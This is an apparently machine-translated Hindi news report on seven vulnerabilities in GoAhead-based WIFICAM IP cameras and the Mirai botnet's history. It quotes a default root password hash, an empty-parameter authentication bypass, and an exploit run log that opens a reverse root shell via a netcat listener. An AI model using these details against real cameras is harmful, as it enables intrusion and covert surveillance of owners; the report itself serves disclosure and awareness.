विभिन्न निर्माताओं के वाई-फाई कैमरों के हजारों मॉडल हमलावरों के लिए खुले हैं

हाल के महीनों की घटनाओं के मद्देनजर, IoT गैजेट्स की हैकिंग और उनसे बॉटनेट्स के निर्माण के साथ, नेटवर्क से जुड़े उपकरणों की सुरक्षा, ऐसा प्रतीत होता है, "लोहे" के निर्माताओं द्वारा सबसे आगे रखा जाना चाहिए। लेकिन वास्तव में, यह पूरी तरह से सच नहीं है। पियरे किम सहित सूचना सुरक्षा विशेषज्ञों के एक विश्लेषण से पता चलता है कि निर्माताओं की एक विस्तृत श्रृंखला से बड़ी संख्या में वायरलेस कैमरा मॉडल अभी भी हैकिंग के लिए अतिसंवेदनशील हैं। हम 1250 विभिन्न कैमरा मॉडल के बारे में बात कर रहे हैं, यह लगभग 200,000 डिवाइस है।

प्रश्न में भेद्यता वायरलेस आईपी कैमरा (पी 2 पी) वाटिकल नामक प्रणाली को प्रभावित करती है। इसकी डेवलपर एक चीनी कंपनी है जो कैमकोर्डर के कई निर्माताओं को अपना मूल उपकरण बेचती है।

इस "आधार" में एक या दो समस्याएं नहीं हैं। साइबर सुरक्षा विशेषज्ञों ने एक बार में सात "छेद" गिना। ऐसा लगता है कि चीनी अपने डिवाइस की रक्षा के बारे में बिल्कुल नहीं सोचते हैं। शायद यह सिर्फ एक धारणा नहीं है।

अधिकांश सुरक्षा समस्याओं का एक केंद्रीय तत्व GoAhead वेब सर्वर है। यह कैमरे के मालिकों को मालिकाना नियंत्रण कक्ष का उपयोग करके वेब के माध्यम से अपने उपकरणों का प्रबंधन करने की अनुमति देता है। गोएहेड का निर्माता एंबेडिस सॉफ्टवेयर है। शुरुआत में, किम ने इसे इतने बड़े पैमाने पर समस्या के उभरने के लिए अपनी जिम्मेदारी माना। लेकिन एंबेथिस सॉफ्टवेयर प्रबंधन का दावा है कि वेब सर्वर का आधार वायरलेस आईपी कैमरा (पी 2 पी) WIFICAM के डेवलपर द्वारा प्रदान किया जाता है। वायरलेस IP कैमरा (P2P) WIFICAM की आपूर्ति करने वाली कंपनी के कर्मचारी उस कोड को लिखते हैं जो बाद में कैमरे के फर्मवेयर में जोड़ा जाता है।

कैमरों की सुरक्षा में छेद के लिए, शायद उनमें से सात से अधिक भी हैं। मुख्य हैं:

सभी के लिए प्रवेश । टेलनेट डिफ़ॉल्ट रूप से काम करता है, और कोई भी निम्नलिखित डेटा का उपयोग करके रिमोट डिवाइस से जुड़ सकता है: रूट: $ 1 $ ybdHbPDn $ ii9aEIFNiolBbM9QxW9mr0: 0: 0 :: 0 / root: / bin / sh

पंजीकृत उपयोगकर्ताओं के डेटा को बाधित करने की क्षमता । एक हमलावर, यदि वांछित है, तो सर्वर कॉन्फ़िगरेशन डेटा का उपयोग करते समय "लॉगिन" और "लॉगिनपास" मापदंडों के लिए खाली मान निर्दिष्ट करके प्रमाणीकरण प्रणाली को बायपास कर सकता है। यह एक हमलावर को पंजीकृत उपयोगकर्ताओं की डेटा फ़ाइलों को प्राप्त करने की अनुमति देता है, जिसमें उनके एफ़टीपी और एसएमटीपी खातों तक पहुंच शामिल है।

मूल अधिकारों को प्राप्त करना । एक हमलावर सुपरसुसर विशेषाधिकारों के साथ एक कमांड चलाकर प्रमाणीकरण प्रक्रिया को बायपास कर सकता है। ऐसा करने के लिए, बस विशेष मापदंडों के साथ URL का उपयोग करें।

प्रमाणीकरण के बिना स्ट्रीमिंग । और ऐसा अवसर यहाँ मौजूद है। पोर्ट 10554 के साथ एकीकृत RTSP सर्वर की उपस्थिति के कारण इस भेद्यता का फायदा उठाया जा सकता है। परिणामस्वरूप, एक बाहरी व्यक्ति बिना लॉग इन किए वीडियो स्ट्रीमिंग तक पहुंच प्राप्त कर सकता है।

user@kali$ gcc -Wall -o expl expl-goahead-camera.c && ./expl 192.168.1.107 Camera 0day root RCE with connect-back @PierreKimSec Please run `nc -vlp 1337` on 192.168.1.1 [+] bypassing auth ... done login = admin pass = admin [+] planting payload ... done [+] executing payload ... done [+] cleaning payload ... done [+] cleaning payload ... done [+] enjoy your root shell on 192.168.1.1:1337 user@kali$ 

बादल तक पहुँच । कैमरा इंटरनेट के माध्यम से डिवाइस को नियंत्रित करना संभव बनाता है। ऐसा करने के लिए, यूडीपी सुरंग का उपयोग करें, जो आपको NAT और फायरवॉल को बायपास करने की अनुमति देता है। एक हमलावर इस फ़ंक्शन का उपयोग अपने लाभ का फायदा उठाने के लिए कर सकता है ताकि डिवाइस तक पहुंच डेटा प्राप्त करने की कोशिश कर, एक क्रूर-बल हमला किया जा सके। कैमरों के अलावा, विशेषज्ञों के अनुसार, रिमोट एक्सेस का एक ही सिद्धांत 1 मिलियन से अधिक अन्य IoT उपकरणों का उपयोग करता है।

यदि आप किसी विशिष्ट प्रकार के क्वेरी का उपयोग करते हैं, तो Shodan सर्च इंजन लगभग 200,000 संवेदनशील उपकरणों को दिखाता है।


एक विशेषज्ञ के स्वामित्व वाले कैमरे से स्क्रीनशॉट

हर दिन कमजोर उपकरणों की संख्या बढ़ रही है। सूचना सुरक्षा विशेषज्ञ इंटरनेट से कैमरों को डिस्कनेक्ट करने और यह जांचने की सलाह देते हैं कि क्या हैकिंग के लिए ऐसे उपकरण का मॉडल खुला है। समस्या कैमरों के सभी मॉडल किम की पोस्ट में सूचीबद्ध हैं।

इस तरह की कमजोरियां न केवल वेबकैम के लिए, बल्कि डिजिटल कंसोल, सुरक्षा प्रणालियों और अन्य IoT उपकरणों के लिए भी विशेषता हैं। हमलावर, डिवाइस सुरक्षा के मुद्दों के बारे में जानते हैं, ऐसे कारनामे विकसित कर रहे हैं जो हैक किए गए उपकरणों से बॉटनेट बनाने की अनुमति देते हैं। उदाहरण के लिए, पिछले साल, कीड़ा और बोटनेट मिराई ने सैकड़ों हजारों कमजोर गैजेट्स पर हमला किया। मूल रूप से, यह उन उपकरणों के संबंध में किया जा सकता है जिनके मालिकों ने अपने खाते की जानकारी नहीं बदली है। निर्मित बॉटनेट ने कई शक्तिशाली DDoS हमलों को व्यवस्थित करना संभव बना दिया, जो कि मुकाबला करना लगभग असंभव साबित हुआ।

इस बॉटनेट के पहले शिकार सूचना सुरक्षा विशेषज्ञ और पत्रकार ब्रायन क्रेब्स थे, साथ ही फ्रांसीसी होस्टिंग प्रदाता ओवीएन और डायन भी थे। बाद की कंपनी पर हमले के कारण हजारों उपयोगकर्ता ट्विटर, अमेज़ॅन, टम्बलर, रेडिट, स्पॉटिफ़ और नेटफ्लिक्स जैसी सेवाओं तक पहुंच के बिना छोड़ दिए गए।